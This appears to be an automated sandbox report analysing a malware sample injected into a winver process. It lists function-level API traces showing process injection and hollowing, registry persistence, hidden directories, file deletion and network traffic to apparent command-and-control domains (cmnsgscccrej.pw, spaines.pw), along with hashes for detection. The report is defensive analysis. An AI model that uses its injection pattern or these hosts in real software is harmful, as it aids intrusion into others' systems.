API String ID: 1902139912-0
Opcode ID: afb6d3aa63b786e4d0f51ac43728f549072800bc8fd610c1c4fa07c95256845f
Instruction ID: c34a993a8982a24e48b9b495d562f3cd8d6277b806ee467bc25e3d4ad71f5f1d
Opcode Fuzzy Hash: afb6d3aa63b786e4d0f51ac43728f549072800bc8fd610c1c4fa07c95256845f
Instruction Fuzzy Hash: 71217131901168ABEF229F15CC54BE9B7B9FF08740F0802D9E919EA295DB70AA90CF55

Uniqueness

Uniqueness Score: -1.00%

Function 047E261C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNEL32(047E260C,00000010,?,?,047E298A,00000104), ref: 047E2621
lstrcat.KERNEL32(047E298A,047E2659), ref: 047E2666
lstrcat.KERNEL32(047E298A,047E298A), ref: 047E2679

Part of subcall function 047E2597: lstrcat.KERNEL32(047E2634,00000000), ref: 047E25DE

Strings

\AC\, xrefs: 047E2639

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: lstrcat$EnvironmentExpandStrings
String ID: \AC\
API String ID: 2903145849-1749977576
Opcode ID: 1a1455d68d8f3bd8c3de392b281e5d27977fe7010f103cb395b91df9d1250492
Instruction ID: ecaeebc60139bfe5004e003f203253e158dd5b2c3d5232efd69586e8733d1ef2
Opcode Fuzzy Hash: 1a1455d68d8f3bd8c3de392b281e5d27977fe7010f103cb395b91df9d1250492
Instruction Fuzzy Hash: A1116A71500508EFEF02DFA1C849EADBBB8FF18344F1442E9E945EE222D7319A51DB94

Uniqueness

Uniqueness Score: -1.00%

Function 047E29DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,047E29D4), ref: 047E29E3

Part of subcall function 047E2A14: lstrcat.KERNEL32(00000000,047E2A0B), ref: 047E2A1A
Part of subcall function 047E2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2A94
Part of subcall function 047E2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2AD8
Part of subcall function 047E2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 047E2B2E
Part of subcall function 047E2A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 047E2B42

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: f25f655f168d47ae09fd180d96ac9ab6615c369bbaafbdd74acb6aa40e99586a
Instruction ID: dbb76a486875cc18f611aeac3547b53320ebceaf30b6b697990d25363b700e6b
Opcode Fuzzy Hash: f25f655f168d47ae09fd180d96ac9ab6615c369bbaafbdd74acb6aa40e99586a
Instruction Fuzzy Hash: 234148715002149EDF326F72CD48BBB76BCFF48709F0446D6AD45E6152DE34A580DEA0

Uniqueness

Uniqueness Score: -1.00%

Function 047E2F38 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 047E2FF4
send.WS2_32(?,047E2A30,047E2A2C,00000000), ref: 047E300D
recv.WS2_32(?,047E2A30,00A00000,00000000), ref: 047E3030
closesocket.WS2_32(?), ref: 047E304A

Strings

cmnsgscccrej.pw, xrefs: 047E2FDB

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: send$closesocketrecv
String ID: cmnsgscccrej.pw
API String ID: 3431254638-1830621847
Opcode ID: 3de71ac913557117b39ba19aefa8f7a10d2ba1ba6dbe92ee6fcdf69db35a4dda
Instruction ID: c3c7316591e61417d0fd0c38551cda29e7db1df2ff484f539739444055fa76ce
Opcode Fuzzy Hash: 3de71ac913557117b39ba19aefa8f7a10d2ba1ba6dbe92ee6fcdf69db35a4dda
Instruction Fuzzy Hash: 96114F32700014ABEF225E29CC45BAA7BF9EF48784F0545D4FE08AB255D335A9508BA4

Uniqueness

Uniqueness Score: -1.00%

Function 047E2A14 Relevance: 7.6, APIs: 5, Instructions: 94
filesleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,047E2A0B), ref: 047E2A1A

Part of subcall function 047E2B4D: inet_addr.WS2_32(00000000), ref: 047E2BDA
Part of subcall function 047E2B4D: gethostbyname.WS2_32(00000000), ref: 047E2BEE
Part of subcall function 047E2B4D: Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 047E2C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 047E2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 047E2B42

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: DeleteFile$Sleep$gethostbynameinet_addrlstrcat
String ID:
API String ID: 1642945479-0
Opcode ID: e8b37fd542badaf8432c301c0c7f6f955668a479b2aefd2c0e39df4bfbe44a3d
Instruction ID: a5896c7737cb109b106cfb92e09a232f157fb16318f94fd3cac3b832f4b8511a
Opcode Fuzzy Hash: e8b37fd542badaf8432c301c0c7f6f955668a479b2aefd2c0e39df4bfbe44a3d
Instruction Fuzzy Hash: BD3135715002199EEB326F62CC48BBB76FCFF48709F0006E6AD45E6156EE34A590DEA0

Uniqueness

Uniqueness Score: -1.00%

Function 047E2B4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(00000000), ref: 047E2BDA
gethostbyname.WS2_32(00000000), ref: 047E2BEE
Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 047E2C44

Strings

spaines.pw, xrefs: 047E2B70

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Sleepgethostbynameinet_addr
String ID: spaines.pw
API String ID: 4125869991-3306378189
Opcode ID: c9cc6fa465a78be1f47e10917d204f6e8e853b0dcedaa1fd5f228baccd3b115a
Instruction ID: 5405291d9bb5658d871f50fbd2721210e095de5baf4868901e275c016c416159
Opcode Fuzzy Hash: c9cc6fa465a78be1f47e10917d204f6e8e853b0dcedaa1fd5f228baccd3b115a
Instruction Fuzzy Hash: CC411871500104AEEB12AF26C888BBA7BEDEF48704F0587D5EC45EF247EB30A545CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 047E2C99 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107sleepnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000000), ref: 047E2BDA
gethostbyname.WS2_32(00000000), ref: 047E2BEE
Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 047E2C44

Strings

spaines.pw, xrefs: 047E2B70

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Sleepgethostbynameinet_addr
String ID: spaines.pw
API String ID: 4125869991-3306378189
Opcode ID: a686e0a2577ad44437bb4935b9685bf0ba3a9ec673925458d8bfa502b5707883
Instruction ID: 6ec13d41a18d60d1b1a4b07974bb7c083d775ee62450ef6281aef36bb46b4467
Opcode Fuzzy Hash: a686e0a2577ad44437bb4935b9685bf0ba3a9ec673925458d8bfa502b5707883
Instruction Fuzzy Hash: C431B771100200AEEB129F25C888BBA77EDEF48704F0587D5ED45EF256EB30E544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 047E0811 Relevance: 6.1, APIs: 4, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 047E086E: RegCreateKeyExA.KERNELBASE(00000000,047E0840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 047E0876
Part of subcall function 047E086E: RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 047E089D
Part of subcall function 047E086E: RegCloseKey.KERNELBASE(?), ref: 047E08A9

CreateThread.KERNELBASE(00001FE4,00001FE4,00000000,00000000,00000000,00000000,?,?,?,?,00000002,?,00000000,00000000), ref: 047E0900

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Create$CloseThreadValue
String ID:
API String ID: 711899537-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 159276b3e8571cdca3a7d2fc699c11c8a8dac7ef8ef5e1f8e6cf536af12488bd
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 2B31F7720002547FFB017F719D8AABA3BACEF05304F400365BD85DA2A5EAB46965CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 047E0B65 Relevance: 6.1, APIs: 4, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowA.USER32(047E0B57,0000000E), ref: 047E0B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 047E0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 047E0B84

Part of subcall function 047E0DE0: VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,047E0D88,00000000,0000090B,00000000), ref: 047E0E06
Part of subcall function 047E0DE0: WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 047E0E24

ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 047E0BA6

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Process$Window$AllocExitFindMemoryOpenThreadVirtualWrite
String ID:
API String ID: 3233011861-0
Opcode ID: a2e69455e6c0235321cdb51dd2fbe0695d8de5085b34702a57dba59bfeb00964
Instruction ID: 404769c6805cd95bb3c50b6254a1d70dc562386942e28c573192a9aee262a053
Opcode Fuzzy Hash: a2e69455e6c0235321cdb51dd2fbe0695d8de5085b34702a57dba59bfeb00964
Instruction Fuzzy Hash: DB1127312053916EFF113B738D58EB63F296F0A704F094295E844EE2B3DAA0E406D738

Uniqueness

Uniqueness Score: -1.00%

Function 047E2683 Relevance: 6.0, APIs: 4, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000), ref: 047E269E
GetFileSize.KERNEL32(?,00000000), ref: 047E26B7
ReadFile.KERNELBASE(047E298A,?,00000000,?,00000000), ref: 047E26DB
CloseHandle.KERNEL32(047E298A), ref: 047E26EC

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: 9ada69b04f3692008db521882e0968e7923ead0aff1f3c703ebe1070c1fb8f1c
Instruction ID: 067e3c4d48927ae61c44364f0045c85a78a8afbdb0e86f01964c5568bf3b796a
Opcode Fuzzy Hash: 9ada69b04f3692008db521882e0968e7923ead0aff1f3c703ebe1070c1fb8f1c
Instruction Fuzzy Hash: C601EC30641209FFEF219F61CC45B6D7AB8FF04B44F2042A9AA14FD1E1D771AB609B54

Uniqueness

Uniqueness Score: -1.00%

Function 047E26F9 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 047E2715
SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 047E2732
WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 047E274E
CloseHandle.KERNEL32(?), ref: 047E275F

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: a40e3678fe326f262f8e987c9c58990722f01f7e7693261b160253958e830727
Instruction ID: 730c678bac26591c9cafaf265b92f6ee85b153ac0a97720c16897de759642bda
Opcode Fuzzy Hash: a40e3678fe326f262f8e987c9c58990722f01f7e7693261b160253958e830727
Instruction Fuzzy Hash: 4601F630640209BFEF219FA1CC45F9D7EB8BF04B04F1042A8BB14BD1E1D770AA61AB58

Uniqueness

Uniqueness Score: -1.00%

Function 047E1345 Relevance: 4.6, APIs: 3, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 047E1372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 047E1387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 047E13E5

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 74cfef6a2a17147eb9311fde9b5962fb23ee4f452774474350f0c3e983a1da1e
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: E5218E31904216AFDB119E79C849B6DBBB5AF08700F458325F955FB694D770A810CB94

Uniqueness

Uniqueness Score: -1.00%

Function 047E0B6B Relevance: 4.5, APIs: 3, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 047E0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 047E0B84

Part of subcall function 047E0DE0: VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,047E0D88,00000000,0000090B,00000000), ref: 047E0E06
Part of subcall function 047E0DE0: WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 047E0E24

ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 047E0BA6

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Process$AllocExitMemoryOpenThreadVirtualWindowWrite
String ID:
API String ID: 2938372061-0
Opcode ID: 92d44549b5709f63f8730254d569b315e67aba0022f272fcda3c2cab48766fcc
Instruction ID: 0c72b72681441a1bdf1250ab7aa10871dcb8b72fc15a7ce7387093499471faa3
Opcode Fuzzy Hash: 92d44549b5709f63f8730254d569b315e67aba0022f272fcda3c2cab48766fcc
Instruction Fuzzy Hash: 10E086746802912AFB113EA28C89FAA3E286F08755F080254FD85FE1D7CAA0D1564634

Uniqueness

Uniqueness Score: -1.00%

Function 047E086E Relevance: 4.5, APIs: 3, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE(00000000,047E0840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 047E0876
RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 047E089D
RegCloseKey.KERNELBASE(?), ref: 047E08A9

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 80521feeef5b5afe5d23b39b9eb1feefe2f3b5b0f1d0cfe90cf95d840a227002
Instruction ID: d656670daf6e248caf9dbe5abbf866db88216dc43784e085ca31991b0d50db33
Opcode Fuzzy Hash: 80521feeef5b5afe5d23b39b9eb1feefe2f3b5b0f1d0cfe90cf95d840a227002
Instruction Fuzzy Hash: EBE09272100008BFEF126F60DC89A997B75EF54709F1480A1FE4AAD075CBB19AA0DF68

Uniqueness

Uniqueness Score: -1.00%

Function 047E08D9 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

Part of subcall function 047E0643: CreateMutexA.KERNELBASE(00000000,00000000), ref: 047E065A
Part of subcall function 047E0643: LoadLibraryA.KERNELBASE(047E0673,00000009,?,00000000), ref: 047E0681
Part of subcall function 047E0643: lstrcmpiA.KERNEL32(?,00000000), ref: 047E06EB
Part of subcall function 047E0643: Sleep.KERNELBASE(00001388), ref: 047E06FE
Part of subcall function 047E0643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E071F
Part of subcall function 047E0643: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0731
Part of subcall function 047E0643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0752
Part of subcall function 047E0643: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0764
Part of subcall function 047E0643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0785

CreateThread.KERNELBASE(00001FE4,00001FE4,00000000,00000000,00000000,00000000,?,?,?,?,00000002,?,00000000,00000000), ref: 047E0900

Part of subcall function 047E0CE8: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 047E0D07
Part of subcall function 047E0CE8: Sleep.KERNELBASE(000003E8), ref: 047E0D1D
Part of subcall function 047E0CE8: Process32First.KERNEL32(?,00000000), ref: 047E0D3D
Part of subcall function 047E0CE8: FindCloseChangeNotification.KERNELBASE(00000000,0000090B,00000000), ref: 047E0D88
Part of subcall function 047E0CE8: Process32Next.KERNEL32(?,?), ref: 047E0D9E
Part of subcall function 047E0CE8: FindCloseChangeNotification.KERNELBASE(?), ref: 047E0DCA
Part of subcall function 047E0CE8: Sleep.KERNELBASE(000003E8), ref: 047E0DD5

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Create$DirectorySleep$AttributesChangeCloseFileFindNotificationProcess32$FirstLibraryLoadMutexNextSnapshotThreadToolhelp32lstrcmpi
String ID:
API String ID: 4243289212-0
Opcode ID: abfbc6871ba53161fe70b4bc33d47f3343101ac8d1b137fc9e23998c520ffae8
Instruction ID: 6777e6789e759070a149c9781162f979fbd846cb782b1f6ec02d3d30eba4e02f
Opcode Fuzzy Hash: abfbc6871ba53161fe70b4bc33d47f3343101ac8d1b137fc9e23998c520ffae8
Instruction Fuzzy Hash: 1AD05EA10141B07DFB007FB28C8CD7B318CEE082083404735BE85D9265DDB469448976

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 047E2DCF Relevance: 12.1, APIs: 8, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,047E2DA0,0000002F,?,00000000,00000001,F0000000), ref: 047E2DE0
CryptImportPublicKeyInfo.CRYPT32(?,00000001,?,00000000), ref: 047E2E06
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,00000000), ref: 047E2E29
CryptHashData.ADVAPI32(?,00000080,00000080,00000000), ref: 047E2E43
CryptVerifySignatureA.ADVAPI32(?,047E2A30,047E2A2C,?,00000000,00000000), ref: 047E2E63
CryptDestroyHash.ADVAPI32(?), ref: 047E2E71
CryptDestroyKey.ADVAPI32(?), ref: 047E2E7D
CryptReleaseContext.ADVAPI32(?,00000000), ref: 047E2E8B

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Crypt$Hash$ContextDestroy$AcquireCreateDataImportInfoPublicReleaseSignatureVerify
String ID:
API String ID: 295346115-0
Opcode ID: 8daccd83c1521e93d6aa3a18378ac6c6e3e6a1207c5cbc88546a17831c3b5411
Instruction ID: a3aead413fb57d80102c6c83b18f3c82fb380e847d28e842346fea41c5d3cb2e
Opcode Fuzzy Hash: 8daccd83c1521e93d6aa3a18378ac6c6e3e6a1207c5cbc88546a17831c3b5411
Instruction Fuzzy Hash: 10111C31600124BBEF221F20CC89BE97B79AF54704F1441D5BE8ABD0A5DBB199A0DF58

Uniqueness

Uniqueness Score: -1.00%

Function 047E093E Relevance: 18.1, APIs: 12, Instructions: 134sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 047E0959
RtlExitUserThread.NTDLL(00000000), ref: 047E0961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 047E0981
GetStartupInfoA.KERNEL32(00000000), ref: 047E0999

Part of subcall function 047E09D9: CreateProcessA.KERNEL32(00000000,047E09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 047E09E0
Part of subcall function 047E09D9: GetThreadContext.KERNEL32(?,00000000), ref: 047E0A08
Part of subcall function 047E09D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 047E0A33
Part of subcall function 047E09D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,047E5810,00000000,00000000,00000002), ref: 047E0A78
Part of subcall function 047E09D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 047E0AA6
Part of subcall function 047E09D9: ResumeThread.KERNEL32(?), ref: 047E0AB6
Part of subcall function 047E09D9: Sleep.KERNEL32(000003E8), ref: 047E0AC6
Part of subcall function 047E09D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 047E0ADD

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 5d03330d33b3b27a40e3269c6242ef1dc1a02b5c5defd31e13463acd8d2fdf85
Instruction ID: 3d6c038a43eae77c320b336a39f909fe36ce8f4fae190383711c705ac3d023bc
Opcode Fuzzy Hash: 5d03330d33b3b27a40e3269c6242ef1dc1a02b5c5defd31e13463acd8d2fdf85
Instruction Fuzzy Hash: C651C3311442A49FEB225F21CC85BA937F8EF08744F0402D5BA45FE1D6DAB0A590CA65

Uniqueness

Uniqueness Score: -1.00%

Function 047E34B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 047E34A2
lstrcat.KERNEL32(00000000,047E34AD), ref: 047E34B1
Process32Next.KERNEL32(00000000,00000000), ref: 047E34C2
lstrlen.KERNEL32(00000000), ref: 047E34CD

Part of subcall function 047E276C: VirtualAlloc.KERNEL32(00000000,03E80005,00003000,00000004,?,00000000), ref: 047E2787
Part of subcall function 047E276C: lstrcat.KERNEL32(00000000,047E27D1), ref: 047E27E0
Part of subcall function 047E276C: VirtualFree.KERNEL32(-00000005,00000000,00008000,00000000,-00000005,03E80005,00000004,?,00000000), ref: 047E2805

VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,000000C9), ref: 047E34E7
CloseHandle.KERNEL32(00000000), ref: 047E34EE

Strings

W, xrefs: 047E34C9

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Virtuallstrcat$Free$AllocCloseHandleNextProcess32lstrlen
String ID: W
API String ID: 1406046206-655174618
Opcode ID: c8fa19f9968db6785e07a1955e6f0d7ff49f84e83013956b77b58b1155eecca2
Instruction ID: 4a4884b67f6eecfc99f3281419e626097448c57e5926bd324ec2d757a42427b5
Opcode Fuzzy Hash: c8fa19f9968db6785e07a1955e6f0d7ff49f84e83013956b77b58b1155eecca2
Instruction Fuzzy Hash: A4F044711055106EFB136F708CC8FBE3ABCAF46705F04019CFE49FA059DB7451159AA9

Uniqueness

Uniqueness Score: -1.00%

Function 047E09D9 Relevance: 12.1, APIs: 8, Instructions: 76threadsleepprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,047E09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 047E09E0
GetThreadContext.KERNEL32(?,00000000), ref: 047E0A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 047E0A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,047E5810,00000000,00000000,00000002), ref: 047E0A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 047E0AA6
ResumeThread.KERNEL32(?), ref: 047E0AB6
Sleep.KERNEL32(000003E8), ref: 047E0AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 047E0ADD

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: cb1a56bbf55a9609519a9d5e117579c9d2b8a90392855b77a87fbfe701f84b21
Instruction ID: e6a87313a8bf63616989099562d5b2d4742c4429c5eced76da7ba4cadaa2351b
Opcode Fuzzy Hash: cb1a56bbf55a9609519a9d5e117579c9d2b8a90392855b77a87fbfe701f84b21
Instruction Fuzzy Hash: 5B3152316402689FEF229F11CC85BAA77F8FF04744F080295AA49FE1E5DBB0A690DE54

Uniqueness

Uniqueness Score: -1.00%

Function 047E2535 Relevance: 7.6, APIs: 5, Instructions: 95stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(047E2525,00000010,?,?,047E29F8,00000104), ref: 047E253A

Part of subcall function 047E2572: lstrcat.KERNEL32(047E29F8,047E2553), ref: 047E257A
Part of subcall function 047E2572: lstrcat.KERNEL32(047E29F8,00000000), ref: 047E258D

ExpandEnvironmentStringsA.KERNEL32(047E25BB,0000000B,?,00000000,047E2634,00000104), ref: 047E25CB
lstrcat.KERNEL32(047E2634,00000000), ref: 047E25DE

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: lstrcat$EnvironmentExpandStrings
String ID:
API String ID: 2903145849-0
Opcode ID: 815612cc5c30cec6fa8ba0fbaeab2fe1927bb25e379c814d3d0a7115e2d1fffc
Instruction ID: 285a816b915afe20439cafe79c75478269316b8cd83b913eee1b169ee24e0db0
Opcode Fuzzy Hash: 815612cc5c30cec6fa8ba0fbaeab2fe1927bb25e379c814d3d0a7115e2d1fffc
Instruction Fuzzy Hash: 2331F871148281AFEB039F60CC568F97B6CFF06308B0841EBE985DE063D6745557DBA1

Uniqueness

Uniqueness Score: -1.00%

